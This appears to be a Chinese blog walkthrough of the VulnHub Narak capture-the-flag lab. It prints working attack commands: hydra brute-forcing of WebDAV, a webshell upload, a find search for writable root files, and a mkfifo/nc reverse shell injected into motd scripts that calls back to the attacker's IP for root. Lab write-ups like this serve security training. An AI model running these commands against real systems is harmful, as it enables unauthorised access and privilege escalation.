靶场搭建
靶场下载地址:https://download.vulnhub.com/ha/narak.ova
下载下来是zip压缩文件,解压后是.ovf虚拟机压缩文件直接用Vmvare导出就行
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
启动虚拟机

靶场搭建完毕
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段

147为kali攻击机的ip,所以151为靶机的ip
扫描靶机端口服务开放情况

开放了22端口,存在ssh服务
开放了80端口,存在http服务,且中间件为Apache2.4.29
先访问一下WEB

发现有一个Do not click按钮

按了之后进入了一张图片,猜测图片隐写了内容

尝试提取,果然存在隐写内容,但是需要密码

尝试爆破,没有爆破出来

先看看有没有其他线索
搜索敏感目录

发现webdav

先试一下admin/admin123这样的极弱口令,发现不正确
扩大字典再次搜索铭感目录及文件

发现tips.txt文件
里面提示打开门的钥匙在creds.txt文件

访问发现并没有这个文件

尝试各种爆破都没有成功,猜测是字典问题
利用工具爬取网站生成一个专门的字典

尝试爆破

成功爆破出/webdav的账号密码
hydra -L dic.txt -P dic.txt 192.168.52.151 http-get /webdav

登录,发现目录里什么都没有

但是webdav可以通过PUT方法上传文件
利用工具上传webshell
使用kali上自带的webshell


使用davtest工具

上传成功

开启监听,访问webshell

成功获得会话

发现存在python3

利用python3升级shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
![]()

发现权限虽然为www用户,但是可以读取inferno家目录下的文件
获得到第一个flag

在家目录下发现三个用户

三个可以登录的用户

尝试将这三个用户名加入到字典然后爆破ssh

没有爆破出结果

所以只能进行提权
查看了sudo提权、suid提权发现都不可行,尝试找看有没有属于其他用户但是可以被当前用户读的文件,也没有找到可以利用的
查找看属于root用户但是当前用户具有改的权限的文件
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
发现存在这样的文件

查看/mnt/hell.sh

发现有一段只要-,[,>,+,-,.,]组成的一段字符
这让我想起之前打靶时遇到的一种CTF中的技术Brainfuck

尝试破解
解出来为字符chitragupt

猜测为某密码
先去尝试su到其他用户
发现成功su到inferno用户

继续提权
尝试了sudo提权、suid提权
在打靶时这个时间点已经发现了此靶机内核版本的内核漏洞CVE-2021-3421,但是这个靶机发布时还没有这个漏洞,所以这里虽然能利用这个漏洞拿到最高权限,但是这个不适用
所以肯定还有其它方法拿到最高权限
使用之前一样的方法查看属于root用户但是当前用户具有改的权限的文件
发现还有一些motd文件,motd文件就是在登录时每次执行的输出欢迎信息的文件

当前用户可以改写这些文件,每次登录时以root执行这些文件,所以我们可以通过注入这些文件来提权
当前shell不完整,vi修改文件有问题,所以我们直接ssh登录

修改文件,在其中加入反弹shell的代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.52.147 4444 >/tmp/f

开启监听,重新登录

成功获得root权限的shell

成功获得第二个flag

本文详细介绍了在VulnHub上的Narak靶场进行渗透测试的过程,包括靶场的搭建,通过NAT模式设置网络,扫描靶机IP和端口,发现并利用WebDav漏洞,通过隐写术获取线索,爆破账号密码,上传webshell,最终通过提权手段获取root权限。
536

被折叠的 条评论
为什么被折叠?



